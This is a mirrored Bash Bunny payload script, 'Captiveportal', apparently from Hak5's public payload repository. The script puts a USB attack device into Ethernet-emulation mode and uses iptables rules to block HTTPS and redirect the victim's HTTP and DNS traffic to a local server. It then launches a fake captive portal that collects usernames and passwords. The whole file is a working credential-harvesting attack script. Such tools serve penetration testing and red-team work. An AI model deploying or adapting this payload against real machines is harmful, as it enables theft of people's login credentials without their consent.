mirror of
https://github.com/hak5/bashbunny-payloads.git
synced 2025-10-29 16:58:25 +00:00
44 lines
1.2 KiB
Bash
44 lines
1.2 KiB
Bash
#!/bin/bash
|
|
#
|
|
# Title: Captiveportal
|
|
# Author: Sebkinne
|
|
# Version: 1.2
|
|
|
|
# Add or remove inputs here
|
|
INPUTS=(username password)
|
|
|
|
# Enable Ethernet (RNDIS = Windows, ECM = mac/*nix)
|
|
ATTACKMODE RNDIS_ETHERNET
|
|
#ATTACKMODE ECM_ETHERNET
|
|
|
|
|
|
##################################################################
|
|
# DO NOT EDIT BELOW THIS LINE #
|
|
##################################################################
|
|
|
|
|
|
GET SWITCH_POSITION
|
|
WORKINGPATH="/root/udisk/payloads/$SWITCH_POSITION"
|
|
|
|
# Sets up iptable forwarding and filters
|
|
function setupNetworking() {
|
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
|
iptables -A INPUT -i usb0 -p udp --dport 53 -j ACCEPT
|
|
iptables -A INPUT -i usb0 -p tcp --dport 443 -j DROP
|
|
iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j DNAT --to-destination 172.16.64.1:8080
|
|
iptables -t nat -A PREROUTING -i usb0 -p udp --dport 53 -j DNAT --to-destination 172.16.64.1:53
|
|
iptables -t nat -A POSTROUTING -j MASQUERADE
|
|
}
|
|
|
|
# Find payload directory and execute payload
|
|
function startCaptiveportal() {
|
|
cd $WORKINGPATH
|
|
chmod +x captiveportal
|
|
./captiveportal ${INPUTS[@]}
|
|
}
|
|
|
|
LED SETUP
|
|
setupNetworking
|
|
startCaptiveportal &
|
|
LED ATTACK
|